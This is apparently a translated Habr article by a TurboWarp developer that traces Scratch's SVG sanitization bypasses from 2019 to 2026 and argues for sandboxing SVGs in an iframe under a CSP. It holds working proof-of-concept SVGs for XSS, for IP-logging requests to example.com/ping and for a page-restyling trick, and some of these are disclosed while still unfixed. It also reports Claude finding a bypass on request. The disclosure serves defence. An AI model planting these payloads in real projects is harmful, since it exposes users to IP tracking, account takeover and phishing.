Рендерер Scratch имеет долгую историю связанных с SVG уязвимостей. Их источником становится то, что Scratch парсит сгенерированный пользователем (то есть контролируемый нападающими) контент в элемент <svg> и добавляет его в основной документ для выполнения различных операций (например, для измерения ограничивающего прямоугольника SVG более надёжным образом, чем viewbox или width/height).
Даже если SVG остаётся в основном документе очень недолго, это небезопасная по своей природе операция. Для обеспечения защиты Scratch реализовывал всё более сложную инфраструктуру парсинга SVG и находящейся внутри разметки, чтобы устранить опасные части.
Я считаю, что подход Scratch к санации SVG обречён на провал. Чтобы объяснить это, нам нужно совершить путешествие по истории санации SVG в Scratch и посмотреть, насколько хорошо он с этим справлялся.
2019 год: XSS при помощи тэга <script>
В 2019 году, спустя несколько месяцев после выпуска Scratch 3, разработчики Scratch обнаружили, что SVG могут содержать тэги <script> , исполнение которых при загрузке SVG обеспечивает Scratch. Такая атака называется XSS.
В Scratch атака XSS позволяет нападающему выполнять действия от лица того, кто загрузит его проект. Например, нападающий может публиковать комментарии, удалять проекты или пытаться захватить аккаунт жертвы иными способами. В Scratch Desktop XSS переходит в исполнение произвольного кода, потому что Scratch Desktop включает опасную фичу интеграции Node.js Electron. (В TurboWarp Desktop эта фича не включена с v0.2.0 от марта 2021 года)
Пример из набора тестов Scratch:
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" xmlns="http://www.w3.org/2000/svg"> <circle cx="250" cy="250" r="50" fill="red" /> <script type="text/javascript"><![CDATA[ alert('from the svg!') ]]></script></svg>
Проблема была устранена при помощи регулярного выражения, удаляющего тэги script.
Что ж, теперь благодаря этому изменению SVG наверняка полностью безопасны и больше не потребуют исправлений.
2020 год: XSS из-за ошибок в предыдущем исправлении (CVE-2020-7750)
В 2020 году apple502j обнаружил, что XSS всё ещё возможен. Оказалось, что предыдущее исправление абсолютно поломанное и его можно обойти, написав <SCRIPT> заглавными буквами, потому что регулярное выражение учитывало регистр; было и множество других способов обхода. Даже если бы регулярное выражение реализовали корректно, это всё равно бы не сработало, потому что существуют и другие способы встраивания JavaScript в SVG. Например, можно использовать встроенный обработчик событий:
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <foreignObject x="1" y="1" width="1" height="1"> <img xmlns="http://www.w3.org/1999/xhtml" src="data:any invalid URL" onerror="alert(1)" /> </foreignObject></svg>
Проблема была устранена при помощи DOMPurify, удаляющего скрипты из SVG перед тем, как scratch-svg-renderer добавляет их в документ.
Что ж, теперь благодаря этому изменению SVG наверняка полностью безопасны и больше не потребуют исправлений.
2022 год: HTTP-утечка через href <image>
В 2022 году обнаружилось, что при помощи свойства href элемента <image> нападающий может создать SVG, который при загрузке вызывает внешний запрос. Оказалось, что хоть DOMPurify и удаляет исполняемый код, он не защищает от HTTP-утечек, потому что «существует слишком много способов её реализации и наши тесты показали, что неё нельзя защититься надёжным образом».
Для Scratch HTTP-утечка означает, что пользователь Scratch может записывать IP-адрес любого, кто загружает его проект, потенциально раскрывая такую информацию, как местоположение или школьный округ. Жертве не нужно нажимать ни на какие ссылки; логгинг IP-адреса происходит просто при загрузке проекта. Похоже, разработчики Scratch посчитали это багом безопасности, и я согласен с ними.
Пример:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image xlink:href="https://example.com/ping"/></svg>
Проблема была решена добавлением хуков DOMPurify для удаления свойств href из всех элементов, если URL ссылается на удалённый сайт.
Что ж, теперь благодаря этому изменению SVG наверняка полностью безопасны и больше не потребуют исправлений.
2023 год: HTTP-утечка через @import CSS
В 2023 году обнаружилось, что при помощи правила @import CSS внутри элемента <style> нападающий может создать проект, создающий внешние запросы при загрузке проекта. Пример:
<svg xmlns="http://www.w3.org/2000/svg"> <style> @import url("https://example.com/ping"); </style></svg>
Проблема была решена интеграцией написанного на JavaScript парсера CSS, который удаляет опасные части CSS. Он парсит все содержащиеся в SVG таблицы стилей, удаляет все правила @import, и в случае внесения изменений преобразует CSS обратно в строку.
Что ж, теперь благодаря этому изменению SVG наверняка полностью безопасны и больше не потребуют исправлений.
2024 год: XSS через Paper.js
В 2024 году я обнаружил XSS в Paper.js — библиотеке, которую Scratch использует в редакторе костюмов. Оказалось, что хотя Scratch санировал SVG перед работой с ними в scratch-svg-renderer, Paper.js передавались несанированные SVG. В основном эта уязвимость представляла такую же угрозу, как XSS scratch-svg-renderer, обнаруженное в 2020 году, но возникала при использовании редактора костюмов, а не при открытии проекта. Пример:
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" data-paper-data="any invalid JSON"> <foreignObject x="1" y="1" width="1" height="1"> <img xmlns="http://www.w3.org/1999/xhtml" src="data:any invalid URL" onerror="alert(1)" /> </foreignObject></svg>
Проблема была частично решена за очень долгий период времени благодаря расширению кода санации SVG: теперь он запускался при загрузке SVG, а не только при его обработке в scratch-svg-renderer. С этого момента Paper.js получает только уже санированные SVG.
Я написал «частично решена», потому что не знаю, выполняется ли вообще санация для скачиваемых сервером SVG. В поддержке Scratch мне сказали, что у них «есть меры защиты против того, что обрабатывается на стороне сервера», из-за чего такая санация была бы избыточной. При разработке proof-of-concept я ни разу не видел признаков такой защиты, но, возможно, она реальна.
Что ж, теперь благодаря этому изменению SVG наверняка полностью безопасны и больше не потребуют исправлений.
2025 год: HTTP-утечка через url() CSS
В 2025 году выяснилось, что при использовании url() внутри некоторых правил CSS нападающий может создать SVG, при загрузке создающий внешний запрос. Примеры:
<svg xmlns="http://www.w3.org/2000/svg"> <!-- встроенный стиль --> <rect style="background-image: url(https://example.com/ping)" /> <!-- также может использовать элемент <style> --> <style> .img { background-image: url("https://example.com/ping"); } </style> <rect class="img" /></svg>
Проблема была решена существенным расширением кода санации SVG: теперь он искал любые вхождения url() и удалял все стили или атрибуты, ссылающиеся на внешние URL.
Что ж, теперь благодаря этому изменению SVG наверняка полностью безопасны и больше не потребуют исправлений.
2026 год: HTTP-утечка через множество багов в старом коде
В 2026 году обнаружилось, что при использовании url() внутри некоторых правил CSS нападающий по-прежнему может создать SVG, при загрузке совершающий внешний запрос. Оказалось, что эта HTTP-утечка стала возможной благодаря как минимум трём уникальным багам:
-
Не учтено то, что CSS позволяет записывать
url(...)при помощи управляющих последовательностей -
Не обрабатывалась ситуация, при которой атрибут
styleсодержал несколькоurl(...), где первый безопасен, а второй нет -
Не обрабатывался
url(), определённый в переменной CSS, на который ссылаются черезvar(--name)
Пример:
<svg xmlns="http://www.w3.org/2000/svg"> <circle fill="\75\72\6c(https://example.com/ping)" /> <rect style="/* url(#safe_url) */ background-image: url(https://example.com/ping)" /> <style> :root { --example: url(https://example.com/ping); } .img { background-image: var(--example); } </style> <rect class="img" /></svg>
Проблема была решена добавлением большого объёма дополнительной сложности вокруг кода, который и так уже был слишком сложным.
Что ж, теперь благодаря этому изменению SVG наверняка полностью безопасны и больше не потребуют исправлений.
2026 год: полная смена стилей страницы при помощи долгих переходов
В 2026 году выяснилось, что хитро использовав очень долгие переходы и заставив браузер изменить стили всех элементов, нападающий может применять ко всей странице Scratch произвольные стили, сохраняющиеся до обновления страницы. Чаще всего эта уязвимость использовалась для развлечений, но её можно применять и для более зловещих действий:
-
Прятать кнопку «Пожаловаться».
-
Сделать кнопки лайков/добавления в избранное размером со всю страницу, чтобы пользователи вынуждены были их нажимать.
-
Отображать текст, сообщающий пользователю, что ему нужно открыть веб-сайт в новой вкладке, чтобы «верифицировать» свой аккаунт (на какой-нибудь фишинговой странице). Пользователи, скорее всего, поверят инструкциям, потому что сообщение поступает от реального scratch.mit.edu.
Пример проекта (не мой): https://scratch.mit.edu/projects/1299571218/
Рано или поздно это, наверно, исправят, но пока пользователь будет видеть такое:

В этом проекте используются два SVG. Первый из них — это «триггер»:
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100"> <rect x="0" y="0" width="200" height="100" fill="#111"></rect> <text x="100" y="55" fill="#0f0" font-size="12" text-anchor="middle"> Trigger </text> <style> /* Заставляем браузер вычислять стили заново, чтобы активировать первый SVG */ *, * *, * * *, * * * * { transform: translateX(1px) scale(10000) rotateY(45deg) perspective(1cm) !important; transition: all 9999s ease !important; filter: blur(0px) !important; } </style></svg>
Второй содержит стили для отображения:
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100"> <rect x="0" y="0" width="200" height="100" fill="#111"></rect> <text x="100" y="55" fill="#0f0" font-size="12" text-anchor="middle"> Styles </text> <style> /* Глобальный синий фон */ * { background-color: blue !important; color: white !important; } /* Стилизация инструкций/описания проекта */ .project-description, .instructions-container { background-color: yellow !important; color: black !important; border: 10px solid red !important; transform: scale(1.1) !important; } </style></svg>
Не буду делать вид, что понимаю происходящее здесь, и почему это работает недетерминированно, но в целом представляю это так:
-
Триггерный SVG применяет
transformиfilterк каждому элементу документа, чтобы вынудить браузер сразу же заново вычислить все стили, применив стили из другого SVG. -
Триггерный SVG применяет очень долгий
transition, чтобы после удаления другого SVG стили сохранялись в течение всего «перехода»
Эта проблема не решена.
Что ж, если её решат, то SVG наверняка будут полностью безопасны и больше не потребуют исправлений.
2026 год: HTTP-утечка через image-set()
Я сообщал о ней разработчикам Scratch в 2025 году. Они её не устранили, поэтому я раскрываю её в этой статье. Все разумные сроки раскрытия прошли уже полгода назад.
Вместо url() нападающий может использовать image-set(), чтобы создать SVG, при загрузке выполняющий внешний запрос. Примеры:
<svg xmlns="http://www.w3.org/2000/svg"> <!-- image-set(...) может использовать внешние ресурсы, которые можно запрашивать без url(). --> <style> .image-set-with-string-url { background-image: image-set("https://example.com/ping" 1x); } </style> <rect class="image-set-with-string-url" /> <!-- image-set(url(...)) работает аналогично image-set(...). Такой способ уже блокируется существующей санацией. --> <style> .image-set-with-inner-url-function { background-image: image-set(url(https://example.com/ping) 1x); } </style> <rect class="image-set-with-inner-url-function"></rect> <!-- image-set() также может использоваться для встраивания атрибутов стилей. --> <rect style="background-image: image-set('https://example.com/ping' 1x)" /></svg>
Эта проблема не решена.
Что ж, если её решат, то SVG наверняка будут полностью безопасны и больше не потребуют исправлений.
20XX год: HTTP-утечка через новые фичи CSS
Об этом я тоже сообщал разработчикам Scratch в 2025 году. На самом деле, этот баг пока не работает, но начнёт работать в будущем, если браузеры реализуют все CSS Units Level 4 или CSS Images Level 4. Сегодня Ladybird — единственный реализующий их браузер, но рано или поздно их могут реализовать и самые популярные браузеры.
Вместо url() нападающий может использовать src() или image(), чтобы создать SVG, при загрузке совершающий внешний запрос. Примеры:
<svg xmlns="http://www.w3.org/2000/svg"> <!-- Всё, что есть в этом файле, использует фичи, определённые в спецификациях браузеров, но пока не реализованные. Теоретически, браузеры будущего могут инициировать запросы, когда увидят эти стили. --> <!-- CSS Units Level 4 определяет src(...), как альтернативу url(...). В отличие от url(), URL src() может быть любым выражением, а не только постоянной строкой. Ссылка: https://www.w3.org/TR/css-values-4/#example-a2ee15a6 Пока не реализовано ни в одном популярном браузере. (Только в экспериментальном браузере Ladybird) --> <style> .src-constant { background: src('https://example.com/ping'); } .src-variable { --url: 'https://example.com/ping'; background: src(var(--url)); } </style> <rect class="src-constant" /> <rect class="src-variable" /> <!-- CSS Images Level 4 определяет image(), как альтернативу url() для изображений. Ссылка: https://www.w3.org/TR/css-images-4/#image-notation Пока не реализовано ни в одном популярном браузере. --> <style> .image { background: image('https://example.com/ping', black); } </style> <rect class="image" /> <!-- Аналогично приведённым выше примерам, но с использованием встроенных стилей --> <rect style="background: src('https://example.com/ping');" /> <rect style="--url: 'https://example.com/ping'; background: src(var(--url));" /> <rect style="background: image('https://example.com/ping', black);" /></svg>
Эта проблема не решена.
Что ж, если её решат, то SVG наверняка будут полностью безопасны и больше не потребуют исправлений.
Такая система неустойчива
Засовывание в процесс санации всё большей сложности — это обречённое на провал решение. Мы уже углубились на пять крупных доработок, но до сих пор существуют известные дыры. Люди активно делятся проектами на веб-сайте Scratch, обходя санацию SVG. А в момент, когда в браузерах решат реализовать последние спецификации CSS, откроется ещё больше дыр.
Кроме того, не у всех этих проблем есть чёткие решения. В случае уязвимости с полной стилизацией страницы оба SVG выглядят совершенно невинно: в них нет JavaScript и ссылок на внешние ресурсы. Вероятно, устранить проблему можно было бы, удалив стили transition, потому что в Scratch переходы всё равно никогда не выполняются, но уверены ли мы, что этого достаточно? Вспомним ли мы, что нужно удалить все версии transition с префиксами поставщика? А что насчёт стилей animation?
Вот некоторые другие примеры, которые могут обеспечить возможность обхода защиты в будущем:
-
css-tree(библиотека, используемая Scratch для парсинга CSS) и реальные парсеры CSS браузеров могут совпадать не полностью. В этом случаеcss-treeможет спарсить CSS так, что всё выглядит правильно, а значит, ничего не удалится, но реальный парсер браузера потом распознает внешний контент. -
Продвинутые новые фичи CSS наподобие
@propertyили native nesting, которые версииcss-tree, возможно, не смогут осмысленно парсить без постоянных обновлений. -
Браузеры всегда могут добавить новые функции, способные ссылаться на внешний контент, как это произошло с
image-set()и с тем, что подразумевает спецификация вsrc()иimage(). Как не отставать от постоянных изменений в этих спецификациях и проверять, не ссылается ли каждая новая функция на внешний контент?
Альтернатива
TurboWarp (форк Scratch, над которым работаю я) не затронули HTTP-утечки 2026 года и проблема полной смены стилей страницы. И не потому, что я нашёл все хитрые способы, которыми SVG могут наносить вред: на самом деле, я полностью удалил код санации CSS, чтобы упакованные проекты стали на 400 КБ меньше.
Я реализовал альтернативное решение для сэндбоксинга SVG внутри iframe. Сначала мы создаём iframe со свойством sandbox, равным allow-same-origin. Это не позволяет исполнять скрипты снаружи iframe, но позволяет при этом взаимодействовать с контентом внутри.
Во-вторых, мы создаём iframe со следующим HTML:
<!DOCTYPE html><html> <head> <meta charset="utf-8"> <meta http-equiv="Content-Security-Policy" content="default-src 'none'; style-src 'unsafe-inline' data:; font-src data:; img-src data:"> </head> <body></body></html>
Встроенная Content-Security-Policy настроена так, чтобы блокировать все скрипты и позволять загружать только безопасные ресурсы из URL безопасных данных. Также мы по-прежнему используем DOMPurify для устранения из SVG очевидно зловредных вещей. Затем мы помещаем iframe в какую-нибудь часть документа за пределами экрана, чтобы необходимый Scratch API измерений продолжал работать.
Такое решение обеспечивает нам очень удобные свойства:
-
Браузер использует готовый код, чтобы выполнять за нас самую сложную рабоут.
TurboWarp не обязан знать о всех способах, которыми SVG может выполнять запрос. Их уже знает браузер, и он будет проверять их для всех новых добавляемых API.
Реальные реализации CSP неидеальны и содержат дыры. Однако эти дыры обычно оказываются странными пограничными случаями, требующими от нападающего обеспечить исполнение JavaScript. Такие уязвимости считаются проблемами безопасности браузеров, поэтому за них платят баг-баунти.
-
SVG не может влиять на основной документ.
Возьмём для примера смену стилей всей страницы. Так как SVG заключён в iframe, он может изменить стили только этого iframe. Стили iframe ни на что не влияют, так что нас это устраивает.
Наш код можно найти здесь:
Вероятно, можно делать что-то интересное с shadow DOM или другими веб-API, но нас вполне устраивает решение с iframe.
Ниже я расскажу о проблемах, о которых узнал после публикации статьи.
12 апреля 2026 года: Claude нашёл HTTP-утечку через расслабленный синтаксис вложенности CSS
После публикации статьи мне стало интересно, насколько хорошо современные языковые модели умеют находить подобные баги. Я попросил Claude Opus 4.6 клонировать репозиторий scratch-editor, изучить последние изменения в рендерере SVG и поискать в них дыры. Результаты оказались интересными:
-
Claude самостоятельно обнаружил, что
image-set(...)не санируется и может вызывать HTTP-утечки. -
Claude обнаружил новую проблему, не описанную в этом посте.
Баг связан с вложенностью CSS, которая может проявляться в двух формах. Вложенный стиль может добавлять к селектору префикс & или не добавлять префикс (последнее известно, как «расслабленный» синтаксис). Современные браузеры интерпретируют оба показанных ниже примера одинаково.
g { & rect { background-image: url(https://example.com/ping); }}g { rect { background-image: url(https://example.com/ping); }}
css-tree способен парсить версию с префиксом & в осмысленное дерево синтаксиса, которое способен санировать Scratch. Однако оказалось, что css-tree не знает, как парсить расслабленную версию. Весь блок div { ... } парсится, как узел «сырого текста», который код Scratch не санирует. Вот полный пример SVG:
<svg xmlns="http://www.w3.org/2000/svg"> <style> g { rect { background-image: url(https://example.com/ping); } } </style> <g><rect></rect></g></svg>
Ранее в этом посте я говорил, что css-tree и реальные парсеры CSS браузеров могут совпадать не полностью. Вот реальный пример бага, позволяющего обойти санацию CSS. Стоит отметить, что сейчас у css-tree есть 48 открытых issue и множество других неизвестных проблем. Я считаю, что надежда на то, что css-tree будет идеальным парсером — тупиковый путь, который приведёт к ещё большему количеству уязвимостей. Песочница SVG в TurboWarp полностью устранила этот баг, хотя я о нём даже не знал.
Эта проблема не устранена. Issue css-tree по этому багу открыта с декабря 2023 года.
Что ж, если её решат, то SVG наверняка будут полностью безопасны и больше не потребуют исправлений.
ссылка на оригинал статьи https://habr.com/ru/articles/1029558/